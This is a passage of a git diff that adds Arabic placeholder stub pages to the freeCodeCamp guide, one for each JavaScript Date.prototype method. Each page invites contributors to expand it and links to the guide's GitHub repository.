+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md
new file mode 100644
index 0000000000..6e59e58545
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.gettimezoneoffset
+localeTitle: Date.prototype.gettimezoneoffset
+---
+## Date.prototype.gettimezoneoffset
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcdate/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcdate/index.md
new file mode 100644
index 0000000000..3904a7fbd3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCDate
+localeTitle: Date.prototype.getUTCDate
+---
+## Date.prototype.getUTCDate
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcdate/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcday/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcday/index.md
new file mode 100644
index 0000000000..9521ed8a26
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcday/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCDay
+localeTitle: Date.prototype.getUTCDay
+---
+## Date.prototype.getUTCDay
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcday/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md
new file mode 100644
index 0000000000..a3e25281ba
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCFullYear
+localeTitle: Date.prototype.getUTCFullYear
+---
+## Date.prototype.getUTCFullYear
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutchours/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutchours/index.md
new file mode 100644
index 0000000000..20cb05366a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutchours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCHours
+localeTitle: Date.prototype.getUTCHours
+---
+## Date.prototype.getUTCHours
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutchours/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md
new file mode 100644
index 0000000000..7151b357ae
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMilliseconds
+localeTitle: Date.prototype.getUTCMilliseconds
+---
+## Date.prototype.getUTCMilliseconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcminutes/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcminutes/index.md
new file mode 100644
index 0000000000..7edf6cf55f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMinutes
+localeTitle: Date.prototype.getUTCMinutes
+---
+## Date.prototype.getUTCMinutes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcminutes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcmonth/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcmonth/index.md
new file mode 100644
index 0000000000..fa1ee34fbf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMonth
+localeTitle: Date.prototype.getUTCMonth
+---
+## Date.prototype.getUTCMonth
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcmonth/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcseconds/index.md
new file mode 100644
index 0000000000..3d5c7c0af0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-getutcseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCSeconds
+localeTitle: Date.prototype.getUTCSeconds
+---
+## Date.prototype.getUTCSeconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setdate/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setdate/index.md
new file mode 100644
index 0000000000..28b0aa53d9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setDate
+localeTitle: Date.prototype.setDate
+---
+## Date.prototype.setDate
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setdate/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setfullyear/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setfullyear/index.md
new file mode 100644
index 0000000000..74adb7a00f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setFullYear
+localeTitle: Date.prototype.setFullYear
+---
+## Date.prototype.setFullYear
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setfullyear/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-sethours/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-sethours/index.md
new file mode 100644
index 0000000000..d8cd9ae831
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-sethours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setHours
+localeTitle: Date.prototype.setHours
+---
+## Date.prototype.setHours
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-sethours/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md
new file mode 100644
index 0000000000..b6386ee2ad
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMilliseconds
+localeTitle: Date.prototype.setMilliseconds
+---
+## Date.prototype.setMilliseconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setminutes/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setminutes/index.md
new file mode 100644
index 0000000000..916a435c59
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMinutes
+localeTitle: Date.prototype.setMinutes
+---
+## Date.prototype.setMinutes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setminutes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setmonth/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setmonth/index.md
new file mode 100644
index 0000000000..2b0d2fa8f5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMonth
+localeTitle: Date.prototype.setMonth
+---
+## Date.prototype.setMonth
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setmonth/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setseconds/index.md
new file mode 100644
index 0000000000..752c2c28c2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setSeconds
+localeTitle: Date.prototype.setSeconds
+---
+## Date.prototype.setSeconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-settime/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-settime/index.md
new file mode 100644
index 0000000000..86aa616050
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-settime/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setTime
+localeTitle: Date.prototype.setTime
+---
+## Date.prototype.setTime
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-settime/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcdate/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcdate/index.md
new file mode 100644
index 0000000000..c056ad18c9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCDate
+localeTitle: Date.prototype.setUTCDate
+---
+## Date.prototype.setUTCDate
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcdate/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md
new file mode 100644
index 0000000000..36c3eb5aad
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCFullYear
+localeTitle: Date.prototype.setUTCFullYear
+---
+## Date.prototype.setUTCFullYear
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutchours/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutchours/index.md
new file mode 100644
index 0000000000..791a2178a4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutchours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCHours
+localeTitle: Date.prototype.setUTCHours
+---
+## Date.prototype.setUTCHours
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutchours/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md
new file mode 100644
index 0000000000..344559f41e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMilliseconds
+localeTitle: Date.prototype.setUTCMilliseconds
+---
+## Date.prototype.setUTCMilliseconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcminutes/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcminutes/index.md
new file mode 100644
index 0000000000..f723280ee0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMinutes
+localeTitle: Date.prototype.setUTCMinutes
+---
+## Date.prototype.setUTCMinutes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcminutes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcmonth/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcmonth/index.md
new file mode 100644
index 0000000000..0d6f53abef
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMonth
+localeTitle: Date.prototype.setUTCMonth
+---
+## Date.prototype.setUTCMonth
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcmonth/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcseconds/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcseconds/index.md
new file mode 100644
index 0000000000..dbc95d927f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-setutcseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCSeconds
+localeTitle: Date.prototype.setUTCSeconds
+---
+## Date.prototype.setUTCSeconds
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcseconds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-todatestring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-todatestring/index.md
new file mode 100644
index 0000000000..f7faa12138
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-todatestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toDateString
+localeTitle: Date.prototype.toDateString
+---
+## Date.prototype.toDateString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-todatestring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-toisostring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-toisostring/index.md
new file mode 100644
index 0000000000..3f5b9433c6
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-toisostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toISOString
+localeTitle: Date.prototype.toISOString
+---
+## Date.prototype.toISOString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-toisostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tojson/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tojson/index.md
new file mode 100644
index 0000000000..cb82647c8b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tojson/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toJSON
+localeTitle: Date.prototype.toJSON
+---
+## Date.prototype.toJSON
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tojson/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md
new file mode 100644
index 0000000000..df5077f3df
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleDateString
+localeTitle: Date.prototype.toLocaleDateString
+---
+## Date.prototype.toLocaleDateString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md
new file mode 100644
index 0000000000..7a114919f7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.tolocaleformat
+localeTitle: Date.prototype.tolocaleformat
+---
+## Date.prototype.tolocaleformat
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocalestring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocalestring/index.md
new file mode 100644
index 0000000000..0d84412265
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocalestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleString
+localeTitle: Date.prototype.toLocaleString
+---
+## Date.prototype.toLocaleString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocalestring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md
new file mode 100644
index 0000000000..ac2dc4813c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleTimeString
+localeTitle: Date.prototype.toLocaleTimeString
+---
+## Date.prototype.toLocaleTimeString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tosource/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tosource/index.md
new file mode 100644
index 0000000000..fe75ecb849
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toSource
+localeTitle: Date.prototype.toSource
+---
+## Date.prototype.toSource
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tosource/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tostring/index.md
new file mode 100644
index 0000000000..c4c59b89f2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toString
+localeTitle: Date.prototype.toString
+---
+## Date.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-totimestring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-totimestring/index.md
new file mode 100644
index 0000000000..0296add605
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-totimestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toTimeString
+localeTitle: Date.prototype.toTimeString
+---
+## Date.prototype.toTimeString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-totimestring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-toutcstring/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-toutcstring/index.md
new file mode 100644
index 0000000000..7f085f1dd2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-toutcstring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toUTCString
+localeTitle: Date.prototype.toUTCString
+---
+## Date.prototype.toUTCString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-toutcstring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-valueof/index.md b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-valueof/index.md
new file mode 100644
index 0000000000..a68adb1637
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/date/date-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.valueOf
+localeTitle: Date.prototype.valueOf
+---
+## Date.prototype.valueOf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-valueof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
